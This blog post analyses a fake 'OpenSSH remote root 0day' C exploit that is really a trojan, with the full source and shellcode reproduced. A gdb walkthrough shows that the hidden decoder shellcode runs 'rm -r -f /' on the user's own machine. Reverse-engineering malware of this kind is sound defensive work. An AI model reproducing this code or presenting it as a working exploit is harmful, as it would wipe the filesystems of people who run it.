Shellcode Analysis

I’ve been reading about exploit and shellcode development recently and I came across a blog post today that gave me a good opportunity to put some of my new knowledge to the test and do some shellcode analysis. The blog post by Channon Powell (@tamonten) talks about a penetration tester who blindly downloaded, compiled, and ran the following exploit code.

/*
 *
 * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
 *
 * OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
 * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
 *
 *
 */

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
    printf("\n\t[+] HATSUNEMIKU\n");
    printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
    printf("\t[+] Keep this 0day priv8!\n");
    printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
    exit(1);
}

unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
                           "\x6a\x2f\x89\xe7\x52"
                           "\x66\x68\x2d\x66\x89"
                           "\xe6\x52\x66\x68\x2d"
                           "\x72\x89\xe1\x52\x68"
                           "\x2f\x2f\x72\x6d\x68"
                           "\x2f\x62\x69\x6e\x89"
                           "\xe3\x52\x57\x56\x51"
                           "\x53\x89\xe1\xcd\x80";

unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
                           "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
                           "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
                           "\xdb\x40\xcd\x80";

int main(int argc, char **argv)
{

    int euid = geteuid();
    int port= 22, sock;
    char h[1000];
    struct hostent *host;
    struct sockaddr_in addr;

    if(euid != 0)
    {
        fprintf(stderr, "You need to be root to use raw sockets.\n");
        exit(1);
    }
    if(euid == 0)
    {
        fprintf(stdout, "MIKU! MIKU! MIKU!\n");
    }
    if(argc != 3)
    usage(argv);
    if(!inet_aton(h, &addr.sin_addr))
    {
        host = gethostbyname(h);
        if(!host)
        {
            fprintf(stderr, "[-] Exploit failed.\n");
            (*(void(*)())decoder)();
            exit(1);
        }
        addr.sin_addr = *(struct in_addr*)host->h_addr;
    }
    sock = socket(PF_INET, SOCK_STREAM, 0);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;
    if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
    {
        fprintf(stderr,"[-] Exploit failed.\n");
        exit(1);
    }
    char payload[1337];
    memcpy(payload, &decoder, sizeof(decoder));
    memcpy(payload, &rootshell, sizeof(rootshell));
    send(sock, payload, strlen(payload),0);
    close(sock);
    if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
    {
        fprintf(stderr, "[-] Exploit failed.\n");
        exit(1);
    }
    else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
    {
        fprintf(stdout, "[+]g0t sh3ll!\n");
        system("/bin/bash");
    }
    else
    {
        fprintf(stderr, "[-] Exploit failed.\n");
        close(sock);
        exit(0);
    }
}

Local Shellcode, Local Shell

The first thing I noticed about the exploit code is that it seemingly attempts to run shellcode locally on line 71 before exiting. Further down at line 97 the code prints out a success message and spawns a shell, locally. Alarm bells ringing yet? On further inspection it turns out that all the code actually does is run shellcode locally because the variable h is never initialised and so the call to gethostbyname never succeeds.

“Analyse This”

The C program only calls the shellcode in the decoder variable so I grabbed that, added it to a minimal C program in a BackTrack virtual machine and compiled it.

root@bt:~/decodeshellcode# cat shellcode.c
unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv) {
	(*(void(*)())shellcode)();
}

root@bt:~/decodeshellcode# gcc -o shellcode shellcode.c

With the program compiled I loaded it up in gdb, set a breakpoint on main and started the program running.

root@bt:~/decodeshellcode# gdb shellcode
[snipped...]
(gdb) b main
Breakpoint 1 at 0x80483b7
(gdb) run
Starting program: /root/decodeshellcode/shellcode

Breakpoint 1, 0x080483b7 in main ()

To aid in stepping through the program I set gdb to display the next 5 instructions to be executed each time execution stops (i.e. after executing a single instruction).

(gdb) display /5i $pc
1: x/5i $pc
=> 0x80483b7 <main+3>:  and    $0xfffffff0,%esp
   0x80483ba <main+6>:  mov    0x804a010,%eax
   0x80483bf <main+11>: call   *%eax
   0x80483c1 <main+13>: mov    %ebp,%esp
   0x80483c3 <main+15>: pop    %ebp

Using the si command to step through the program one instruction at a time the first thing to notice is the call instruction at 0x80483bf which jumps into the shellcode from the original code listing. Stepping through the shellcode shows little of interest, mostly push and mov instructions, until 0x80484bb which contains an interrupt instruction – int 0×80 which makes a Unix system call.

(gdb) si
0x080484bb in ?? ()
1: x/5i $pc
=> 0x80484bb:   int    $0x80
   0x80484bd:   add    %al,(%eax)
   0x80484bf:   add    %al,(%eax)
   0x80484c1 <__FRAME_END__+1>: add    %al,(%eax)
   0x80484c3 <__FRAME_END__+3>: add    %al,(%eax)

When interrupt 0×80 is executed the EAX register is used to determine which Unix system call to execute and the EBX, ECX, EDX, ESI and EDI registers are used to specify parameters. In gdb we can check the value of a register using the info command.

(gdb) info reg eax
eax            0xb      11

Using the Linux Syscall Reference we can see that system call 11 (0xb) is execve which is used to execute a program, overwriting the memory or the current process with that of the program being executed. The call takes three parameters as follows:

  • EBX contains the address of a string specifying the name of the program to execute
  • ECX contains the address of an array of strings containing the command line parameters for the program being executed, this array must end with a null (0×0) pointer
  • EDX contains either null or the address of an array of strings containing environment variables for the program being executed

The x command in gdb allows us to examine a memory address in various formats. Examining the address stored in the EBX register as a string reveals that the shellcode executes the program /bin//rm.

(gdb) x /s $ebx
0xbffff4fc:     "/bin//rm"

If that itself isn’t bad enough we can look at the parameters passed to the program by examining the ECX register, keeping in mind that it points at an array of strings which will be represented in memory as a series of memory addresses (pointers), each of which points to the beginning of a string. In this case gdb is running in a 32-bit environment so memory addresses are 4 bytes long. Examining the first 4 bytes pointed at by ECX should give the address of the first command line parameter, which should be the name of the program itself (i.e. /bin//rm).

(gdb) x /4xb $ecx
0xbffff4e8@     0xfc    0xf4    0xff    0xbf

The bytes are in little endian order here but once rearranged it’s no surprise that the result is 0xbffff4fc, the address stored in the EBX register, the name of the program to be executed.

Examining further addresses reveals the parameters passed to the program.

(gdb) x /20x $ecx
0xbffff4e8@     0xfc    0xf4    0xff    0xbf    0x08    0xf5    0xff    0xbf
0xbffff4f0@     0x0e    0xf4    0xff    0xbf    0x14    0xf5    0xff    0xbf
0xbffff4f8@     0x00    0x00    0x00    0x00
(gdb) x /s 0xbffff508
0xbffff508:      "-r"
(gdb) x /s 0xbffff50e
0xbffff50e       "-f"
(gdb) x /s 0xbffff514
0xbffff514       "/"

There we have it, the exploit code calls shellcode which attempts to remove all files from the root file system by executing “rm -r -f /”. This is the same conclusion that Channon Powell came to by looking at strings in the shellcode.

For me this was an opportunity to put my current learning to the test, maybe others can learn from this too!

What about the Shellcode?

The original exploit code does one thing only – attempts to execute “rm -rf /” – but what about the other piece of shellcode contained in the shellcode variable? I decided to load that up in gdb and analyse that too.

(gdb) si
0x08048490 in ?? ()
1: x/5i $pc
=> 0x8048490:   xor    %edx,%edx
   0x8048492:   mov    $0xa,%dl
   0x8048494:   mov    $0xa21756f,%ecx
   0x8048499:   push   %ecx
   0x804849a:   mov    $0x79206b63,%ecx

As before there was nothing particularly interesting to begin with apart from the first instruction which is a common shellcode technique. XORing a register with itself sets the value of the register to zero whilst avoiding null bytes in the shellcode. Null bytes in the shellcode may prevent the targeted vulnerability from being triggered. Perhaps this is real shellcode?

Stepping through the program eventually brings us to a system call instruction, this time system call 4 (sys_write) which writes a number of bytes to a file descriptor. The parameters are as follows:

  • EBX is an integer specifying the file descriptor to write to
  • ECX is the address of the data to be written
  • EDX is the number of bytes to write

Examining the registers within gdb reveals that the system call outputs the string “fuck you!\n” to the standard output (file descriptor 1). Well someone isn’t happy about their ‘shellcode’ being disassembled!

(gdb) info reg eax
eax            0x4      4
(gdb) info reg ebx
ebx            0x1      1
(gdb) x /s $ecx
0xbffff502:      "fuck you!\n\301\203\004\b\340\203\004\b"
(gdb) info reg edx
edx            0xa      10

Finally stepping through a few more instructions leads to one last system call, this time to system call 1 or sys_exit which exits the process.

Share
This entry was posted in Security and tagged , , , , . Bookmark the permalink.

One Response to Shellcode Analysis

  1. Great write up, thanks. Going to have to learn how to drive gdb and this is a good start for me. :)

Leave a Reply

Your email address will not be published. Required fields are marked *

*


*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>